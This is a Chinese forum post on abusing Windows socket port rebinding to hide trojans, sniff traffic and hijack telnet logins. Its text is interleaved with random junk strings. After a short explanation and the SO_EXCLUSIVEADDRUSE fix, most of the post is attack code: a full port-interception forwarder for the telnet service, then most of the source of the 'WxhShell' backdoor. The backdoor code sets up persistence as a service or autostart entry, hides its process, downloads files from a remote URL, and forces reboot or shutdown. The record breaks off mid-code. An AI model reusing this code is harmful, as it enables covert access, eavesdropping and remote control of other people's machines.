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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $01~G?:]`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MRT<hB  
)1 QOA  
  saddr.sin_family = AF_INET; FGeKhA 8jT  
aGAr24]y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r.c:QY$  
/N,\st  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); , eSpt#M  
7jGfQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +pQ3bX  
j%}9tM6[  
  这意味着什么?意味着可以进行如下的攻击: &q M8)2Y  
f1 XM_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 OGO\u#  
3QF[@8EH{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S+*>""=  
,$U~<Zd  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !pHI`FeAV  
"sWsK %  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'T7Y5X80$j  
UID`3X  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 24wr=5p]Q  
QZ[S, c^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 KOoV'YSC[(  
8idIJm%y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @LSX@V   
u|k_OUTq  
  #include y qK*E*  
  #include (W}DMcuSd  
  #include /SyAjZ  
  #include    e [6F }."c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ggy?5N7P  
  int main() N^AlhR^  
  { Spn)M79  
  WORD wVersionRequested; /1uGsE+[  
  DWORD ret; h iK}&  
  WSADATA wsaData; P@% L.y B  
  BOOL val; jy_4W!4a  
  SOCKADDR_IN saddr; :Ys ;)W+R  
  SOCKADDR_IN scaddr; X":2o|R  
  int err; d= ?lPEzSA  
  SOCKET s; Z?WVSJUVf  
  SOCKET sc; s(e1kk}"  
  int caddsize; p*Yx1er1  
  HANDLE mt; 4n1 g@A=y  
  DWORD tid;   <9T,J"y  
  wVersionRequested = MAKEWORD( 2, 2 ); b `bg`}x  
  err = WSAStartup( wVersionRequested, &wsaData ); +;=>&XR0m  
  if ( err != 0 ) { /c6]DQ<?  
  printf("error!WSAStartup failed!\n"); o)$eIu}Wg  
  return -1; j?g#8L;W\w  
  } QL2 `X2  
  saddr.sin_family = AF_INET; HrMbp  
   EQX<<x"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "-j96 KD  
fwh/#V-i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R<%{I)  
  saddr.sin_port = htons(23); F&B E+b/#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m=Mk@xfQ#  
  { y=jZ8+M   
  printf("error!socket failed!\n"); =@q,/FR-  
  return -1; if3z Fh  
  } }J2f$l>R  
  val = TRUE; (+<66 T O  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 MXjN ./  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ps;4]=c  
  { fI'+4 )@x  
  printf("error!setsockopt failed!\n"); a^ys7UV  
  return -1; l.Z+.<@  
  } nZG zez  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; edZBQmx+#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %(H' j@D[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^NM>x Ienf  
&>R:oYN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Vr;>Im  
  { 3(gOF&Uf9  
  ret=GetLastError(); ed`7GZB  
  printf("error!bind failed!\n"); L$@+'Qn@:  
  return -1; .[s6PzQy  
  } 52^,qP'6  
  listen(s,2); 1]vDM&9  
  while(1) Q'?VLv |@  
  { $ f||!g  
  caddsize = sizeof(scaddr); gvL*]U7  
  //接受连接请求 S,f#g?V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Og8%SnEpMI  
  if(sc!=INVALID_SOCKET) JXR]G  
  { x}=Q)|)]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); WM4,\$  
  if(mt==NULL) |KO[[4b ?+  
  { oa[O~z{~  
  printf("Thread Creat Failed!\n"); "?FBbJ  
  break; Y{Lxo])e  
  } @gmo;8?k  
  } `-K[$V  
  CloseHandle(mt); NL2D,  
  } Q]/{6:C  
  closesocket(s); W7{^/s5r  
  WSACleanup(); B|{E[]iK  
  return 0; oZdY0nh4  
  }   (E~6fb "c  
  DWORD WINAPI ClientThread(LPVOID lpParam) DJqJ6z:'  
  { zsR5"Vi=  
  SOCKET ss = (SOCKET)lpParam; MmFtG-  
  SOCKET sc; #&?}h)Jr'  
  unsigned char buf[4096]; Ll VbY=EX7  
  SOCKADDR_IN saddr; {<#b@=G  
  long num; jE8}Ho_#)  
  DWORD val; |CQ0{1R1  
  DWORD ret; ]86*k %A  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9E4^hkD&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +At0V(  
  saddr.sin_family = AF_INET; N^k& 8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "|R75m,Id  
  saddr.sin_port = htons(23); ic l]H  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =EU;%f  
  { zZey  
  printf("error!socket failed!\n"); d#W^S[[  
  return -1; vj]h[=:  
  } NgF"1E  
  val = 100; ub+XgNO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G|||.B 8  
  { pRUQMPn (  
  ret = GetLastError(); 'Asr,[]?  
  return -1; @xBO[v  
  } <Q`3;ca^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d<WNN1f  
  { o` dQ  
  ret = GetLastError(); s I09X6)  
  return -1; u1d%wOY  
  } bf2r8   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2uV5hSHYe  
  { ]v?jfy  
  printf("error!socket connect failed!\n"); AS[j)x!  
  closesocket(sc); C}DIm&))  
  closesocket(ss); 1TF S2R n  
  return -1; 7@m+ y  
  } }OTJ{eG  
  while(1) <:mK&qu f  
  { <(yAat$H  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q("4R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `O;4 b#!g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @P i]kWW})  
  num = recv(ss,buf,4096,0);  3UKd=YsJ  
  if(num>0) Q}a(vlZ  
  send(sc,buf,num,0); Z%=A[` 5]  
  else if(num==0) 5w+&plIJ  
  break; <(V~eo e  
  num = recv(sc,buf,4096,0); kLpq{GUv:  
  if(num>0) lvNi/jk  
  send(ss,buf,num,0); $xF[j9nM  
  else if(num==0) " SP6o  
  break; >$)~B 4  
  } =^_a2_BBl  
  closesocket(ss); G2+ gEg  
  closesocket(sc); $M+'jjnP  
  return 0 ; u`Y~r<?P(  
  } d\tY-X3  
z<0/#OP'  
k `5K&  
========================================================== )|AxQPd  
SZ7; } r8  
下边附上一个代码,,WXhSHELL K@ &;f( Y  
ASr@5uFR  
========================================================== AN|f:259  
>.G#\w  
#include "stdafx.h" 7u5H o`  
3f~znO  
#include <stdio.h> U3UA  
#include <string.h> '#.D`9YI<  
#include <windows.h> tDfHO1pS  
#include <winsock2.h> 475g-t2"@  
#include <winsvc.h> ya,-Lt  
#include <urlmon.h> h^''ue"  
UN:qE oS  
#pragma comment (lib, "Ws2_32.lib") '* /$66|  
#pragma comment (lib, "urlmon.lib") D,(:))DmR  
,ei=w,O  
#define MAX_USER   100 // 最大客户端连接数 T7O)  
#define BUF_SOCK   200 // sock buffer QXl~a%lB  
#define KEY_BUFF   255 // 输入 buffer jpTk@  
z^WY5~?  
#define REBOOT     0   // 重启 >&F:/   
#define SHUTDOWN   1   // 关机 ?C   
rls{~ZRl  
#define DEF_PORT   5000 // 监听端口 u]ps-R_$G  
N%1nii  
#define REG_LEN     16   // 注册表键长度 UdA,.C0  
#define SVC_LEN     80   // NT服务名长度 sBqOcy  
VwK7\j V  
// 从dll定义API Ai5+ ;8z+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K\s<<dRa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -dfs8[i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GMoz$c6n_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #CB Kt,  
jc#gn& 4C  
// wxhshell配置信息 9RkNRB)8  
struct WSCFG { t)~$p#NS  
  int ws_port;         // 监听端口 !T8sWMY  
  char ws_passstr[REG_LEN]; // 口令 _5$L`&  
  int ws_autoins;       // 安装标记, 1=yes 0=no crSqbL  
  char ws_regname[REG_LEN]; // 注册表键名 d3#e7rQ8  
  char ws_svcname[REG_LEN]; // 服务名 {SRD\&J[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fE3%$M[V7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }1lZW"{e[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o#BI_#b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uss!E!_%,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kf9]nIo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 imhE=6{  
l0g+OMt  
}; [qk c6sqo  
(XFF}~>B.  
// default Wxhshell configuration }nO%q6|\V  
struct WSCFG wscfg={DEF_PORT, 2+ g'ul`  
    "xuhuanlingzhe", }jdmeD:  
    1, Cn5;h(r  
    "Wxhshell", kX:1=+{xg  
    "Wxhshell", W`TSR?4~t?  
            "WxhShell Service", `gJ$fTi&  
    "Wrsky Windows CmdShell Service", T, PN6d  
    "Please Input Your Password: ", bUSa#pNO>  
  1, W{j(=<|<  
  "http://www.wrsky.com/wxhshell.exe", K*4ib/'E a  
  "Wxhshell.exe" ]&P 4QT)f  
    }; *Ue#Sade  
2:e7'}\D.  
// 消息定义模块 CteNJBm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bMv[.Z@v(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \%V !& !'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S?OCy4dk:  
char *msg_ws_ext="\n\rExit."; Z/4bxO=m  
char *msg_ws_end="\n\rQuit."; "s(|pQh;  
char *msg_ws_boot="\n\rReboot..."; :1@jl2,  
char *msg_ws_poff="\n\rShutdown..."; kr!>rqN5  
char *msg_ws_down="\n\rSave to "; N3oa!PE  
av:%wJUl,$  
char *msg_ws_err="\n\rErr!"; hFhC&2HN  
char *msg_ws_ok="\n\rOK!"; [kqO6U  
<i`s)L  
char ExeFile[MAX_PATH]; X;#Ni}af  
int nUser = 0; 7-\wr^ll3  
HANDLE handles[MAX_USER]; 78?cCj{e  
int OsIsNt; d5R2J:dI  
h%v qt~0  
SERVICE_STATUS       serviceStatus; mC?}:W M@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1|:;~9n<t  
uX&h~qE/  
// 函数声明 lZ <D,&  
int Install(void); $Q,]2/o6n  
int Uninstall(void); |tTcJ\bG  
int DownloadFile(char *sURL, SOCKET wsh); &4l!2  
int Boot(int flag); [MKt\(  
void HideProc(void); }h8U.k?v  
int GetOsVer(void); Lc "{ePFh  
int Wxhshell(SOCKET wsl); w]V684[>  
void TalkWithClient(void *cs); G9K& }_,  
int CmdShell(SOCKET sock); >enP~uW[#  
int StartFromService(void); ,_=LV  
int StartWxhshell(LPSTR lpCmdLine); Z^mQb2e.  
-_]Ceq/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1YU?+K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~~I]SI k{  
AgUjC  
// 数据结构和表定义 ) M(//jX  
SERVICE_TABLE_ENTRY DispatchTable[] = b !nA.`T  
{ ~*Y/#kPY  
{wscfg.ws_svcname, NTServiceMain}, !<b+7 A  
{NULL, NULL} O-P`HKr  
}; ![MtJo5  
.G"T;w 6d  
// 自我安装 tq=M 9c  
int Install(void) WE-+WC!!:  
{ w7vQ6jkH  
  char svExeFile[MAX_PATH]; v3kT~uv  
  HKEY key; G%h+KTw  
  strcpy(svExeFile,ExeFile); j)juvat  
57;( P  
// 如果是win9x系统,修改注册表设为自启动 ]5MT-qU  
if(!OsIsNt) { u9]M3>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %+UTs'I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I7t}$ S6  
  RegCloseKey(key); Lw?>1rTT/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V|{~9^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gI@nE:(m  
  RegCloseKey(key); &b2@+/ F  
  return 0; 5Z#(C#  
    } TY` R_  
  } ?,[$8V  
} .cmhi3o4  
else { 2(Yt`3Go(  
!MmbwB'  
// 如果是NT以上系统,安装为系统服务 w[EEA_\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n-<`Z NMU  
if (schSCManager!=0) T~p>Ed9  
{ NvpDi&i  
  SC_HANDLE schService = CreateService OGq=OW  
  ( L[Wi[S6=)g  
  schSCManager, Y'R/|:YL@  
  wscfg.ws_svcname, +j$nbU0U  
  wscfg.ws_svcdisp, k9VWyq__  
  SERVICE_ALL_ACCESS, ]J/;Xp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6k+tO%{~  
  SERVICE_AUTO_START, :&E~~EUW  
  SERVICE_ERROR_NORMAL, A$;*O)  
  svExeFile, %0f*OC  
  NULL, [RTo[-ci2  
  NULL, V_|HzYJJ5  
  NULL, (+u&b< <6N  
  NULL, `;m0GU68  
  NULL Z1 (!syg  
  ); Cwji,*  
  if (schService!=0) E|6@h8 #  
  { @9k/od@mW  
  CloseServiceHandle(schService); \Z~ <jv  
  CloseServiceHandle(schSCManager); tM;+U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vJ&35nF&  
  strcat(svExeFile,wscfg.ws_svcname); hIa,PZ/Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H3Zt 3l1u+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1Eryw~,,9i  
  RegCloseKey(key); a<((\c_8G  
  return 0; *;lb<uLv  
    } xz7CnW1  
  } F^=y+}]=  
  CloseServiceHandle(schSCManager); bPl'?3  
} /u"Iq8QA  
} Ie8K [ >  
E!,jTaZz  
return 1; NG4@L1f%  
} SF[Z]|0gs  
9G6auk.m.O  
// 自我卸载 ?9*[\m?-  
int Uninstall(void) V9  EC@)  
{ NpA%7Q~B$,  
  HKEY key; NpGz y`&b  
-, $:^4  
if(!OsIsNt) { oiz]Bd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z34+1d  
  RegDeleteValue(key,wscfg.ws_regname); Z_T~2t  
  RegCloseKey(key); ^vOEG;TR<-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5?E;Yy A  
  RegDeleteValue(key,wscfg.ws_regname); ZCfd<NS?  
  RegCloseKey(key); %r:4'$E7|  
  return 0; KkR.p,/  
  } I7<UC{Ny  
} ;N _ %O  
} 9HlM0qE5b  
else { M IUB]  
;;EFiaA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B{V(g"dM  
if (schSCManager!=0) %XXjQ5p  
{ v6T<K)S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gf8~Zlq4v  
  if (schService!=0) mDWRYIuN  
  {  Y@b|/+  
  if(DeleteService(schService)!=0) { 4%u\dTg/B  
  CloseServiceHandle(schService); MLmv+  
  CloseServiceHandle(schSCManager); ` ^z l =  
  return 0; j~hvPlho  
  } ]\3<UL  
  CloseServiceHandle(schService); hXx:D3h  
  } ^j?"0|  
  CloseServiceHandle(schSCManager); ~y ?v  
} \@6V{y'Zo  
} ]v$2JgF]@  
#Jfmt~ks '  
return 1; A5G@u}YS5  
} hCj8y.X|E(  
mWVq>~  
// 从指定url下载文件 YD5mJ[1t"2  
int DownloadFile(char *sURL, SOCKET wsh) os+ ]ct  
{ }jNVR#D:  
  HRESULT hr; :,'.b|Tl.b  
char seps[]= "/"; U a1Z,~ *  
char *token; R ~#&xfMd.  
char *file; " _TAo  
char myURL[MAX_PATH]; 5N|hsfkx  
char myFILE[MAX_PATH]; NRe=O*O  
36 ]?4, .  
strcpy(myURL,sURL); 6N.MC B^  
  token=strtok(myURL,seps); S&'-wA Ed  
  while(token!=NULL) LO)QEUG  
  { \Oe8h#%  
    file=token; o~VZ%B  
  token=strtok(NULL,seps); `Z (`  
  } p.vxrk`c  
Q+E)_5_sA  
GetCurrentDirectory(MAX_PATH,myFILE); ~A*$+c(  
strcat(myFILE, "\\"); z+nq<%"'  
strcat(myFILE, file); SCq3Kh  
  send(wsh,myFILE,strlen(myFILE),0); ZVCa0Km  
send(wsh,"...",3,0); D#X&gE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); //^{u[lr  
  if(hr==S_OK) H*&!$s.  
return 0; s09&A]G  
else U H6 Jvt  
return 1; #| m*k  
J vtbGPz  
} !LpFK0rw  
4/&.N]  
// 系统电源模块 3u= >Y^wu  
int Boot(int flag) 8oP"?ew#  
{ x\5\KGw16  
  HANDLE hToken; QV=|' S  
  TOKEN_PRIVILEGES tkp; <T$rvS  
en16hd>^W:  
  if(OsIsNt) { <!~NG3KW[>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &3YXDNm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rmhL|! Y  
    tkp.PrivilegeCount = 1; ZV~9{E8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d-#yN:}0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s&-dLkis{u  
if(flag==REBOOT) { VCUsvhI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AH# Dk5#G  
  return 0; (KphAA8  
} Odbm"Y  
else { dca?(B!'6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,)t/1oQ}>^  
  return 0; %r:Uff@  
} ^:o^g'Yab  
  } W_|7hwr  
  else { w?M` gl8r  
if(flag==REBOOT) { Ng\]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S6c>D&Q  
  return 0; U5H5QW+  
} b|g=&T:pp  
else { r} a,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +J:wAmY4  
  return 0; z;EDyd,O>  
}  5f_1 dn  
} ]"U/3dL5  
]goPjfWvU"  
return 1; /Au7X'}  
} 3>k?-%"  
/m+.5Qz9)@  
// win9x进程隐藏模块 WL1$LLzN  
void HideProc(void) V(6Ql j7  
{ {o8K&XU#&t  
!]!J"!xg*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1h&_Q}DM  
  if ( hKernel != NULL ) bN.U2%~!  
  { O BZ:C!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SHe547X1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q%_MO`<]$  
    FreeLibrary(hKernel); 6Zq7O\  
  } | <- t  
biAa&   
return; 6i*LP(n  
} F ss@/-  
5`1p ?  
// 获取操作系统版本 !FbW3p f  
int GetOsVer(void) lA ZBlO  
{ Zs}EGC~&  
  OSVERSIONINFO winfo; #|acRZ9 }  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -o`|A767  
  GetVersionEx(&winfo); d{RMX<;G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1IZTo!xi  
  return 1; 4Pr@<S"U  
  else -y)g}D%  
  return 0; OG2&=~hOz-  
} wXUgxa  
F!ra$5u  
// 客户端句柄模块 @i@f@.t  
int Wxhshell(SOCKET wsl) r_M5:Rz  
{ hE}y/A[  
  SOCKET wsh; 9I*`~il>{  
  struct sockaddr_in client; `'/1Ij+  
  DWORD myID; P<IZ%eS3B  
5t[7taLX\  
  while(nUser<MAX_USER) ^ &VN=Y6z  
{  uE3xzF  
  int nSize=sizeof(client); bODyJ7=[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <|4L+?_(&  
  if(wsh==INVALID_SOCKET) return 1; #^bn~  
2p8}6y:}7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O ftjm X_  
if(handles[nUser]==0) 8DZ OPA  
  closesocket(wsh); h>&t``<  
else %jj\w>  
  nUser++; H.[t&VO  
  } /7yd&6`I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hO4* X  
w!m4  
  return 0; Xm[Cgt_?  
} <=PYu:]h  
YC d  
// 关闭 socket !_j6\r=  
void CloseIt(SOCKET wsh) 17B`  
{ gYvT'72  
closesocket(wsh); N1espc@j  
nUser--; kaZ_ra;<  
ExitThread(0); >Mk#19j[/  
} $C9['GGR  
wlfq$h p  
// 客户端请求句柄 (t2vt[A6ph  
void TalkWithClient(void *cs) )TyI~5>;  
{ |FJc'&)J"  
!jyy`q=  
  SOCKET wsh=(SOCKET)cs; Rln@9muXA  
  char pwd[SVC_LEN]; "!_,N@\t  
  char cmd[KEY_BUFF]; )VFS&|#\  
char chr[1]; u_X(c'aE;  
int i,j; (c1Kg   
I8{ohFFo  
  while (nUser < MAX_USER) { |NXe{q7{  
='\E+*[$I  
if(wscfg.ws_passstr) { .*g^ i`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *|&&3&7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o9AwW  
  //ZeroMemory(pwd,KEY_BUFF); ~M LBO  
      i=0; L QA6iZBP  
  while(i<SVC_LEN) { #]FJx  
OK=ANQjs(  
  // 设置超时 .vhEm6wJUM  
  fd_set FdRead; EF[I@voc  
  struct timeval TimeOut; oq9gG)F  
  FD_ZERO(&FdRead); bKP@-<:]  
  FD_SET(wsh,&FdRead); X16r$~Pb  
  TimeOut.tv_sec=8; p#tbN5i[{7  
  TimeOut.tv_usec=0; 2qfKDZ9f^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DjQgF=;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RS /*Dp^  
=!P$[pN2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @1iH4RE*  
  pwd=chr[0]; \6K1Z!*;  
  if(chr[0]==0xd || chr[0]==0xa) { @RFJe$%  
  pwd=0; u13v@<HGc  
  break; _$BH.I  
  } E j/P:nB  
  i++; 7G5VwO  
    } 8Xk,Nbcqt  
qBXIR }  
  // 如果是非法用户,关闭 socket yc3i> w`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W)fh}|.5  
} hR%2[lBn!]  
3[}w#n1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V.Qy4u7m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xo~kB)|,  
,ku3;58O<  
while(1) { A!fRpN  
TrmrA$5f  
  ZeroMemory(cmd,KEY_BUFF); 0%>_fMaA  
<<[\ Rv  
      // 自动支持客户端 telnet标准   -JfO} DRI  
  j=0; A6%~+9  
  while(j<KEY_BUFF) { 73>Hzpv0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1n )&%r  
  cmd[j]=chr[0]; !DNk!]|  
  if(chr[0]==0xa || chr[0]==0xd) { LXx`Vk>ky  
  cmd[j]=0; -x2&IJ!  
  break; %][6TZ}  
  } vC ISd   
  j++; *d$r`.9j  
    } xm bFJUMH  
OIdoe0JR:O  
  // 下载文件 H|/U0;s  
  if(strstr(cmd,"http://")) { '"fZGz?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Jw)-6WJ!uO  
  if(DownloadFile(cmd,wsh)) }@Ou]o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <CY<-H  
  else V}+Ui]ie|I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #JW~&;  
  } (GXFPEH8  
  else { A N 'L- E  
L(w?.)E  
    switch(cmd[0]) { &(YNz9L  
  5Int,SX  
  // 帮助 t6a$ZN;  
  case '?': { && E)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +tvWp>T+  
    break; =X}s^KbI{  
  } <) ltvo(  
  // 安装 vD p|9VY?  
  case 'i': { /dq(Z"O_  
    if(Install()) b 3i34,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #>\%7b59>  
    else T@\%h8@~]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I18<brZJ  
    break; 9Jj:d)E>o  
    } i!dQ Sdf  
  // 卸载 d+158qQOh]  
  case 'r': { 1]]#HTwX  
    if(Uninstall()) i :Sih"=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nvj0MD{ X  
    else rX@?~(^ML  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Spt;m0W90  
    break; C!s !j  
    } {;E]#=|  
  // 显示 wxhshell 所在路径 U.p"JSH L  
  case 'p': { "=vH,_"Ql  
    char svExeFile[MAX_PATH]; y?.l9  
    strcpy(svExeFile,"\n\r"); NB?y/v  
      strcat(svExeFile,ExeFile); z{ MO~d9  
        send(wsh,svExeFile,strlen(svExeFile),0); ]gG&X3jaKq  
    break; (H-}z`sy/@  
    } ~e#QAaXD#5  
  // 重启 Q]<6i  
  case 'b': { "6zf-++%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Cso-WG,  
    if(Boot(REBOOT)) hz*H,E!>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &n-)Alx  
    else { e<1)KqG  
    closesocket(wsh); +je{%,*  
    ExitThread(0); @]xH t&j  
    } drK &  
    break; ,R2;oF_  
    } MZK%IC>  
  // 关机 ZAa:f:[#f  
  case 'd': { KW-g $Ma  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pCt0[R;?  
    if(Boot(SHUTDOWN)) Z2^B.r#  
